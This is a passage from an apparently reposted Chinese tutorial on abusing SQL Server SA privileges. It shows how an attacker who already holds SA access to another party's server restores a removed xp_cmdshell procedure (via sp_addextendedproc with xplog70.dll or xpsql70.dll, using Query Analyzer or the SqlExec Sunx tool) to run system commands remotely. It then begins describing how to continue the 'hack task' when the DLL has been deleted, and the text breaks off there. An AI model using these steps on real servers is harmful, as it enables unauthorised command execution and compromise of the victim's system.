当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL Server SA权限总结经典技术

MSSQL
优化SQL Server索引的小技巧
SQL Server的空值处理策略
Windows上的MySQL UDF开发
MS SQLSERVER中如何快速获取表的记录总数
MS SQLSERVER 中如何得到表的创建语句
使用索引调节向导调整应用程序的性能
使用查询分析器调整SQL服务器脚本
SQL Server到Oracle连接服务器的实现
数据库查询结果的动态排序(6)
数据库查询结果的动态排序(7)
保持Oracle数据库优良性能的若干诀窍
数据库管理员制胜之宝
在Linux下访问MS SQL Server数据库
关于如何在查询结果中添加自动编号
如何提取除最新十条记录之外的所有记录?
一个有关DISTINCT的问题解答
关于MSSQL Server中DATETIME类型数据的处理
TOP N 和SET ROWCOUNT N 哪个更快?
金额阿拉伯数字转换为中文的存储过程
谈谈数据从sql server数据库导入mysql数据库的体验

MSSQL 中的 SQL Server SA权限总结经典技术


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 82 ::
收藏到网摘: n/a

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version   
  第一部分:  
  有关去掉xp_cmdshell来保护系统的分析总结:
  首先知道一下语句:
  1.去掉xp_cmdshell扩展过程的方法是使用如下语句:
  if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
  2.添加xp_cmdshell扩展过程的方法是使用如下语句:
  sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
  现在看看现象:
  我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
  
  现在来看看被去掉xp_cmdshell后恢复的两种方法:
  
  方法一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样,然后输入sp_dropextendedproc 'xp_cmdshell'就可以了
  
  第二部分:
  
  假如对方已经把xplog70.dll删除或者改了名,我们来用下面的方法继续我们的hack任务:
  当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
  在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。